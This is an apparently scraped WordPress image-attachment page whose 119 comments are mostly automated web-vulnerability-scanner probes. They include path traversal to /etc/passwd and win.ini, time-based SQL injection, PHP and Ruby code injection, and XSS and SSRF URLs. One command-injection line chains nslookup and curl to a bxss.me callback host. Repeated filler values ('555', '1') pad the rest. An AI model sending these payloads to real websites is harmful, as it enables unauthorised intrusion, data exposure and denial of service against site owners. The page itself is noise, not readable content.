JPG_9177

119 Comments

1. 555

2. 1

3. 555

4. 555

5. ../../../../../../../../../../../../../../etc/passwd

6. 555

7. 12345′”\’\”);|]*{
   ”💡

8. 555

9. 555

10. 555

11. wp-comments-post.php

12. 555

13. ‘”

14. 555′”()&%xREz(9102)

15. 555

16. 555

17. 555

18. 555&n997955=v954571

19. 555

20. http://bxss.me/t/xss.html?%00

21. wp-comments-post.php

22. 555′”()&%yjU1(9457)

23. 555′”

24. 555

25. 555

26. 555

27. 555

28. 555

29. 555

30. 555

31. 555

32. 555

33. 555

34. 555

35. 555

36. 555

37. 555

38. 555

39. 555

40. Zaproxy dolore alias impedit expedita quisquam.

41. 555

42. 555

43. 555

44. 555

45. 555

46. 555

47. 555&n996456=v987293

48. 555

49. ;(nslookup -q=cname hitqhtwsgwunbd80a0.bxss.me||curl hitqhtwsgwunbd80a0.bxss.me)|(nslookup -q=cname hitqhtwsgwunbd80a0.bxss.me||curl hitqhtwsgwunbd80a0.bxss.me)&(nslookup -q=cname hitqhtwsgwunbd80a0.bxss.me||curl hitqhtwsgwunbd80a0.bxss.me)

50. 555

51. http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

52. 555*1

53. -1′) OR 5*5=25 —

54. 555

55. “.gethostbyname(lc(“hitjl”.”dfavgnar4527a.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(104).chr(72).chr(110).chr(88).”

56. 555-1 OR 87=(SELECT 87 FROM PG_SLEEP(15))–

57. 555

58. 555

59. (select 198766*667891)

60. ‘+’A’.concat(70-3).concat(22*4).concat(121).concat(84).concat(106).concat(87)+(require’socket’
    Socket.gethostbyname(‘hitli’+’cvslyawm91e01.bxss.me.’)[3].to_s)+’

61. 555

62. ‘.print(md5(31337)).’

63. 555

64. 555

65. 555

66. -1 OR 5*5=25 —

67. file:///etc/passwd

68. .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

69. 1-1); waitfor delay ‘0:0:15’ —

70. 1-1)) OR 959=(SELECT 959 FROM PG_SLEEP(15))–

71. ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

72. ‘”()

73. “&&sleep(27*1000)*fqbhwk&&”

74. (select 198766*667891)

75. http://bxss.me/t/xss.html?%00

76. ${@print(md5(31337))}\

77. “+”A”.concat(70-3).concat(22*4).concat(112).concat(71).concat(121).concat(88)+(require”socket”
    Socket.gethostbyname(“hitgb”+”tzceiyfg1aea2.bxss.me.”)[3].to_s)+”

78. )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

79. xfs.bxss.me

80. response.write(9555196*9242092)

81. 1*1

82. 1

83. 1

84. 1+348-343-5

85. -1 OR 5*5=26

86. -1″ OR 5*5=25 —

87. 1

88. 1

89. 10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR”Z

90. “.gethostbyname(lc(“hitja”.”vxcwljrebc49b.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(112).chr(75).chr(103).chr(73).”

91. 1

92. ;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));

93. 1

94. ‘A’.concat(70-3).concat(22*4).concat(107).concat(80).concat(113).concat(65)+(require’socket’
    Socket.gethostbyname(‘hitfw’+’oxwvklsz104bb.bxss.me.’)[3].to_s)

95. 555

96. 1

97. 555

98. ‘{“

99. 1

100. 1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),6)||’

101. @@Bm3PC

102. 1

103. 1

104. 1

105. 1

106. 1

107. 1

108. 1

109. 1

110. 1

111. 1

112. 1

113. 1

114. 1

115. 1

116. 1

117. 1

118. e

119. 1